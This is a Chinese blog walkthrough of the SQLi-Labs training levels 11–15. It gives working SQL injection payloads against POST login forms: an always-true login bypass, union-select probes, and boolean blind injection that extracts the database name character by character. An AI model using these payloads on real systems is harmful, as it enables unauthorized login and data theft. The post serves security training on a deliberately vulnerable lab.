首页 > 数据库 >《SQLi-Labs》03. Less 11~15

《SQLi-Labs》03. Less 11~15

时间:2023-05-06 23:35:27浏览次数:55  
标签:11 03 15 Less 题解 参数 sql select

目录


sqli。开启新坑。

Less-11

知识点

第十一关页面发生了变化,是账户登录页面。那么注入点在输入框。

前十关使用的是 get 请求,参数都体现在 url 上,而十一关是 post 请求,参数在表单里。可以直接在输入框进行注入。

根据经验可以猜测 sql 语句。大概的形式应该是 “ username=参数 and password=参数 ”。

题解

当输入 username 为 1 时出现错误图片。

输入 1' ,出现报错信息。根据报错信息可以推断该 sql 语句为:username='参数' and password='参数'

在这里插入图片描述

知道 sql 语句后可以构造一个恒成立的 sql 语句,看看查询出什么。

Username 输入(一个万能登录语句):

1' or 1=1 #

在这里插入图片描述

这里需要换成 “ # ” 来注释, 不能再用 “ --+ ”。

再看看联合查询:

1' union select 1, 2 #

在这里插入图片描述

都做到这里了,接下来的思路就和 Less-1 一样了。不多说了。

Less-12

这题,思路和 Less-11 一样。

题解

输入 1" 时,根据报错信息可以判断出参数是双引号带括号的。

在这里插入图片描述

判断是否存在 sql 注入。

1") or 1=1 #

看看回显。

1") union select 1, 2 #

剩下的该怎么做,理解了 Less-11 与 Less-1 就知道了。

Less-13

思路和 Less-11 一样。

题解

根据报错信息可以判断出参数是单引号带括号的。

在这里插入图片描述

剩下的不多说了。

Less-14

思路和 Less-11 一样。

题解

为双引号字符串。

在这里插入图片描述

这几题都和 Less-11 一样。

Less-15

知识点

布尔盲注。详见 Less-5。

题解

输入 1' 或者 1 时,错误回显。

在这里插入图片描述

输入 1' or 1=1 # 时,正确回显。

在这里插入图片描述

判断一下当前数据库名称的长度。

1' or length((select database()))>=8 #

在这里插入图片描述

得到数据库长度为 8。

然后通过一个一个字符串截取并通过 ASCII 码比较来得出数据库名。

1' or ascii(substr((select database()), 1, 1))=115 #
1' or ascii(substr((select database()), 2, 1))=101 #
...
1' or ascii(substr((select database()), 8, 1))=121 #

剩下的思路与过程,理解 Less-5 就会了。


半烟半雨溪桥畔,渔翁醉着无人唤。

——《菩萨蛮》(宋)黄庭坚

标签:11,03,15,Less,题解,参数,sql,select
From: https://www.cnblogs.com/GCom/p/17378701.html

相关文章

  • NC51112 Stars in Your Window
    题目链接题目题目描述Fleetingtimedoesnotblurmymemoryofyou.Canitreallybe4yearssinceIfirstsawyou?Istillremember,vividly,onthebeautifulZhuhaiCampus,4yearsago,fromthemomentIsawyousmile,asyouwerewalkingoutoftheclassr......
  • 第15天打卡
    问题:算法设计:直接暴力查找;运用多个判断语句即可源代码:#include<stdio.h>intmain(){longn,sum,i;while(scanf("%ld",&n)!=EOF){sum=0;for(i=7;i<=n;i++)if(i%7==0)if(i%6==5)if(i%5==4)if(i%3==2){sum++;printf("%ld\n",i);}printf("......
  • 系统集成03-文本编辑器
    系统集成03-文本编辑器文本处理是操作系统对文件管理的基础操作,文本编辑器是计算机软件中的一种,主要用来编写和查看文本文件。不同的文件编辑器有不同的辅助功能。1Linux常用文本编辑器介绍文本编辑器是操作系统基础的功能软件之一。根据使用环境的不同,Linux的文本编辑器有很......
  • 【JVM 堆 03】
    一、堆的细分内存结构1、Java8及之后堆内存逻辑上分为三部分:新生区+养老区+元空间YoungGenerationSpace 新生区Young/New又被划分为Eden区和Survivor区TenureGenerationspace 养老区Old/TenureMeta Space 元空间......
  • TypeError: 'numpy.float64' object cannot be interpreted as an integer
    报错内容:Traceback(mostrecentcalllast):File"C:\Users\xuan\.conda\envs\pytorch1-6\lib\site-packages\scipy\sparse\_sputils.py",line225,inisintlikeoperator.index(x)TypeError:'numpy.float64'objectcannotbeinterpre......
  • win11 C盘的配置文件无法编辑 一个命令就好
    在配置win11的服务时,不小时安装在了C盘。而win11对C盘的文件编辑有严格限制。你要注册在线账户设为管理员才能编辑。除了这种方法,还怎么编辑呢?简单的哩,cmd以管理员身份运行。这个会吧。然后在cmd里进到你需要编辑的目录,如下面我要弄这个。mongoDB的配置文件,在命令下使用notepa......
  • [Event] Linux con Japan 2015
    日本每年都举办一次LinuxCon,下面是今年的Event及对应的ppthttp://events.linuxfoundation.jp/events/linuxcon-japan粗粗看了一下,竟然还有这么一个主题。HowChinainvolvedinOpenSourceMovement不过幻灯片让人大跌眼镜,讲演怎么样姑且不论,这内容也太少了。http://eve......
  • Python之路,Day15 - Django适当进阶篇
    本节内容学员管理系统练习DjangoORM操作进阶用户认证 1.Django练习小项目:学员管理系统设计开发带着项目需求学习是最有趣和效率最高的,今天就来基于下面的需求来继续学习Django 项目需求:1.分讲师\学员\课程顾问角色,2.学员可以属于多个班级,学员成绩按课程分别统计3.每个......
  • Windows11 无法显示卓越性能以及仅有平衡模式一条计划的解决方案
    如果你用的是专业工作站版,且使用了如下命令:Powercfg/DUPLICATESCHEMEe9a42b02-d5df-448d-aa00-03f14749eb61还是无法显示任何多余计划,那么就证明你用的系统版本已经实施了新式待机:ModernStandbyonWindows该模式只可以通过设置-电池电源中设置最佳性能,而无法在控制面板......
  • 浅谈(0,eval)('window')
    浅谈(0,eval)('window')最近研究qiankun源码,在import-html-entry包中看到这个,一脸懵,研究了一下,记录一下。参考了这篇博客这个干啥用的 //通过这种方式获取全局window,因为script也是在全局作用域下运行的,所以我们通过window.proxy绑定时也必须确保绑定到全局window上......